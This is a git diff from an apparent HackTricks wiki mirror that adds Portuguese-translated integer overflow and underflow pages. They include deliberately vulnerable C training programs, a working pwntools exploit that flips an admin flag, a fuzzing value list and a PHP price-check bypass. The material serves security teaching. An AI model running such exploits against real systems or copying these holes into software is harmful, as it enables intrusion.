mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/integer-overflow-and-underflow.md',
This commit is contained in:
parent
dc53883d4b
commit
42d9cc01be
@ -785,7 +785,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
|
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,368 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
No cerne de um **integer overflow** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e pela **interpretação** dos dados.
|
||||
|
||||
Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele volta para 0 devido à limitação da sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode armazenar valores de **0 a 65,535**, somar 1 a 65,535 fará o valor retornar a 0.
|
||||
|
||||
Além disso, um **inteiro com sinal de 8 bits** pode representar valores de **-128 a 127**. Isso ocorre porque um bit é usado para representar o sinal (positivo ou negativo), deixando 7 bits para representar a magnitude. O número mais negativo é representado como **-128** (binário `10000000`), e o número mais positivo é **127** (binário `01111111`).
|
||||
|
||||
Valores máximos para tipos inteiros comuns:
|
||||
| Tipo | Tamanho (bits) | Valor Mínimo | Valor Máximo |
|
||||
|----------------|----------------|-----------------------|-----------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
Um short é equivalente a um `int16_t`, um int é equivalente a um `int32_t` e um long é equivalente a um `int64_t` em sistemas de 64 bits.
|
||||
|
||||
### Valores máximos
|
||||
|
||||
Para potenciais **vulnerabilidades web** é muito interessante conhecer os valores máximos suportados:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Exemplos
|
||||
|
||||
### Pure overflow
|
||||
|
||||
O resultado impresso será 0 já que overflowed o char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Conversão de signed para unsigned
|
||||
|
||||
Considere uma situação em que um inteiro signed é lido a partir da entrada do usuário e então usado em um contexto que o trata como um inteiro unsigned, sem validação adequada:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro sem sinal devido à forma como os valores binários são interpretados, potencialmente levando a um comportamento inesperado.
|
||||
|
||||
### macOS Overflow Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compile com:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
#### Exploit
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
### macOS Underflow Exemplo
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compile com:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
### Outros Exemplos
|
||||
|
||||
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
|
||||
- Apenas 1B é usado para armazenar o tamanho da senha, então é possível overflow e fazê-lo pensar que o comprimento é 4 enquanto na verdade é 260 para bypassar a length check protection
|
||||
- https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html
|
||||
|
||||
- Dado um par de números, descubra usando z3 um novo número que multiplicado pelo primeiro resulte no segundo:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
|
||||
- Apenas 1B é usado para armazenar o tamanho da senha, então é possível overflow e fazê-lo pensar que o comprimento é 4 enquanto na verdade é 260 para bypassar a length check protection e sobrescrever na stack a próxima local variable e bypassar ambas as proteções
|
||||
|
||||
## ARM64
|
||||
|
||||
Isso **não muda em ARM64** como você pode ver em [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,115 +0,0 @@
|
||||
# Overflow de Inteiro
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
No coração de um **overflow de inteiro** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e a **interpretação** dos dados.
|
||||
|
||||
Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele retorna a 0 devido à limitação de sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode conter valores de **0 a 65.535**, adicionar 1 a 65.535 fará com que o valor retorne a 0.
|
||||
|
||||
Além disso, um **inteiro com sinal de 8 bits** pode representar valores de **-128 a 127**. Isso ocorre porque um bit é usado para representar o sinal (positivo ou negativo), deixando 7 bits para representar a magnitude. O número mais negativo é representado como **-128** (binário `10000000`), e o número mais positivo é **127** (binário `01111111`).
|
||||
|
||||
### Valores Máximos
|
||||
|
||||
Para potenciais **vulnerabilidades na web**, é muito interessante conhecer os valores máximos suportados:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Exemplos
|
||||
|
||||
### Overflow puro
|
||||
|
||||
O resultado impresso será 0, pois ultrapassamos o char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Conversão de Assinado para Não Assinado
|
||||
|
||||
Considere uma situação em que um inteiro assinado é lido da entrada do usuário e, em seguida, usado em um contexto que o trata como um inteiro não assinado, sem a validação adequada:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro sem sinal devido à forma como os valores binários são interpretados, potencialmente levando a um comportamento inesperado.
|
||||
|
||||
### Outros Exemplos
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Apenas 1B é usado para armazenar o tamanho da senha, então é possível transbordá-lo e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento.
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Dado um par de números, descubra usando z3 um novo número que multiplicado pelo primeiro dará o segundo:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Apenas 1B é usado para armazenar o tamanho da senha, então é possível transbordá-lo e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento e sobrescrever na pilha a próxima variável local e contornar ambas as proteções.
|
||||
|
||||
## ARM64
|
||||
|
||||
Isso **não muda no ARM64** como você pode ver em [**este post do blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,28 +1,27 @@
|
||||
# Overflow de Inteiro (Aplicações Web)
|
||||
# Integer Overflow (Web Applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Esta página foca em como **overflow/truncamentos de inteiros podem ser abusados em aplicações web e navegadores**. Para primitivas de exploração dentro de binários nativos, você pode continuar lendo a página dedicada:
|
||||
> Esta página foca em como **integer overflows/truncations can be abused in web applications and browsers**. Para exploitation primitives dentro de binários nativos você pode continuar lendo a página dedicada:
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. Por que a matemática inteira ainda importa na web
|
||||
## 1. Por que a aritmética de inteiros ainda importa na web
|
||||
|
||||
Embora a maior parte da lógica de negócios em pilhas modernas seja escrita em *linguagens seguras em relação à memória*, o runtime subjacente (ou bibliotecas de terceiros) é eventualmente implementado em C/C++. Sempre que números controlados pelo usuário são usados para alocar buffers, calcular offsets ou realizar verificações de comprimento, **um wrap-around de 32 bits ou 64 bits pode transformar um parâmetro aparentemente inofensivo em uma leitura/escrita fora dos limites, um bypass de lógica ou um DoS**.
|
||||
Mesmo que a maior parte da business-logic em stacks modernos seja escrita em linguagens *memory-safe*, o runtime subjacente (ou bibliotecas de terceiros) acaba sendo implementado em C/C++. Sempre que números controlados pelo usuário são usados para alocar buffers, computar offsets ou realizar verificações de comprimento, **um wrap-around de 32-bit ou 64-bit pode transformar um parâmetro aparentemente inofensivo em uma leitura/escrita out-of-bounds, um bypass de lógica ou um DoS**.
|
||||
|
||||
Superfície de ataque típica:
|
||||
|
||||
1. **Parâmetros de requisição numéricos** – campos clássicos de id, offset ou contagem.
|
||||
2. **Cabeçalhos de comprimento/tamanho** – Content-Length, comprimento do quadro WebSocket, HTTP/2 continuation_len, etc.
|
||||
3. **Metadados de formato de arquivo analisados no lado do servidor ou do cliente** – dimensões da imagem, tamanhos de chunks, tabelas de fontes.
|
||||
4. **Conversões em nível de linguagem** – casts signed↔unsigned em PHP/Go/Rust FFI, truncamentos de JS Number → int32 dentro do V8.
|
||||
5. **Autenticação e lógica de negócios** – valor de cupom, preço ou cálculos de saldo que transbordam silenciosamente.
|
||||
1. **Numeric request parameters** – campos clássicos id, offset ou count.
|
||||
2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
|
||||
3. **File-format metadata parsed server-side or client-side** – dimensões de imagem, tamanhos de chunks, tabelas de fontes.
|
||||
4. Conversões a nível de linguagem – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
|
||||
5. **Authentication & business logic** – cálculos de valor de cupom, preço ou saldo que silenciosamente overflowam.
|
||||
|
||||
---
|
||||
|
||||
@ -30,17 +29,17 @@ Superfície de ataque típica:
|
||||
|
||||
| Ano | Componente | Causa raiz | Impacto |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | Overflow de multiplicação de 32 bits ao calcular o tamanho do pixel decodificado | Acionou um 0-day do Chrome (BLASTPASS no iOS), permitiu *execução remota de código* dentro do sandbox do renderizador. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncamento para 32 bits ao aumentar um JSArray leva a escrita OOB no armazenamento de apoio | Execução remota de código após uma única visita. |
|
||||
| 2025 | **Apollo GraphQL Server** (patch não lançado) | Inteiro assinado de 32 bits usado para argumentos de paginação primeiro/último; valores negativos se transformam em enormes positivos | Bypass de lógica e exaustão de memória (DoS). |
|
||||
| 2023 | **libwebp – CVE-2023-4863** | overflow em multiplicação 32-bit ao computar o tamanho de pixels decodificados | Acionou um 0-day no Chrome (BLASTPASS no iOS), permitindo *remote code execution* dentro do renderer sandbox. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | truncamento para 32-bit ao crescer um JSArray leva a OOB write no backing store | Remote code execution após uma única visita. |
|
||||
| 2025 | **Apollo GraphQL Server** (patch não lançado) | inteiro signed de 32-bit usado para args first/last de paginação; valores negativos se dobram para enormes positivos | Bypass de lógica e exaustão de memória (DoS). |
|
||||
|
||||
---
|
||||
|
||||
## 3. Estratégia de teste
|
||||
|
||||
### 3.1 Folha de dicas de valores de limite
|
||||
### 3.1 Folha de referência de valores-limite
|
||||
|
||||
Envie **valores extremos assinados/não assinados** sempre que um inteiro for esperado:
|
||||
Envie **valores extremos signed/unsigned** sempre que um inteiro for esperado:
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -50,8 +49,8 @@ Envie **valores extremos assinados/não assinados** sempre que um inteiro for es
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
Outros formatos úteis:
|
||||
* Hex (0x100), octal (0377), científico (1e10), JSON big-int (9999999999999999999).
|
||||
* Strings de dígitos muito longas (>1kB) para atingir analisadores personalizados.
|
||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
|
||||
* Strings de dígitos muito longas (>1kB) para atingir parsers personalizados.
|
||||
|
||||
### 3.2 Modelo do Burp Intruder
|
||||
```
|
||||
@ -60,17 +59,17 @@ Payload type: Numbers
|
||||
From: -10 To: 4294967300 Step: 1
|
||||
Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 Bibliotecas e runtimes de Fuzzing
|
||||
### 3.3 Fuzzing bibliotecas & runtimes
|
||||
|
||||
* **AFL++/Honggfuzz** com harness libFuzzer em torno do parser (por exemplo, WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – fuzzing ciente da gramática de motores JavaScript para atingir truncamentos de inteiros V8/JSC.
|
||||
* **boofuzz** – fuzzing de protocolo de rede (WebSocket, HTTP/2) focando em campos de comprimento.
|
||||
* **AFL++/Honggfuzz** com um harness libFuzzer em torno do parser (por exemplo, WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – fuzzing sensível à gramática de engines JavaScript para atingir truncamentos de inteiros em V8/JSC.
|
||||
* **boofuzz** – fuzzing de protocolos de rede (WebSocket, HTTP/2) focado em campos de comprimento.
|
||||
|
||||
---
|
||||
|
||||
## 4. Padrões de Exploração
|
||||
## 4. Exploitation patterns
|
||||
|
||||
### 4.1 Bypass de lógica em código do lado do servidor (exemplo PHP)
|
||||
### 4.1 Logic bypass in server-side code (exemplo em PHP)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,26 +78,28 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 Overflow de heap via decodificador de imagem (libwebp 0-day)
|
||||
O decodificador sem perdas WebP multiplicou a largura da imagem × altura × 4 (RGBA) dentro de um int de 32 bits. Um arquivo elaborado com dimensões 16384 × 16384 transborda a multiplicação, aloca um buffer curto e, subsequentemente, escreve **~1GB** de dados descompactados além do heap – levando a RCE em todos os navegadores baseados em Chromium antes da versão 116.0.5845.187.
|
||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
|
||||
O decodificador sem perdas do WebP multiplicava largura × altura × 4 (RGBA) dentro de um 32-bit int. Um arquivo forjado com dimensões 16384 × 16384 causa overflow na multiplicação, aloca um buffer curto e em seguida escreve **~1GB** de dados descomprimidos além do heap – levando a RCE em todo browser Chromium-based antes da 116.0.5845.187.
|
||||
|
||||
### 4.3 Cadeia de XSS/RCE baseada em navegador
|
||||
1. **Overflow de inteiro** no V8 permite leitura/escrita arbitrária.
|
||||
2. Escape do sandbox com um segundo bug ou chame APIs nativas para soltar um payload.
|
||||
3. O payload então injeta um script malicioso no contexto de origem → XSS armazenado.
|
||||
### 4.3 Browser-based XSS/RCE chain
|
||||
1. **Integer overflow** no V8 permite arbitrary read/write.
|
||||
2. Escape the sandbox com um segundo bug ou chame native APIs para drop a payload.
|
||||
3. O payload então injeta um script malicioso no origin context → stored XSS.
|
||||
|
||||
---
|
||||
|
||||
## 5. Diretrizes defensivas
|
||||
|
||||
1. **Use tipos amplos ou matemática verificada** – por exemplo, size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Valide intervalos cedo**: rejeite qualquer valor fora do domínio de negócios antes da aritmética.
|
||||
3. **Ative sanitizadores do compilador**: -fsanitize=integer, UBSan, detector de corrida do Go.
|
||||
4. **Adote fuzzing em CI/CD** – combine feedback de cobertura com corpora de limites.
|
||||
5. **Mantenha-se atualizado** – bugs de overflow de inteiro em navegadores são frequentemente armados em semanas.
|
||||
1. **Use tipos de maior largura ou matemática checada** – e.g., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
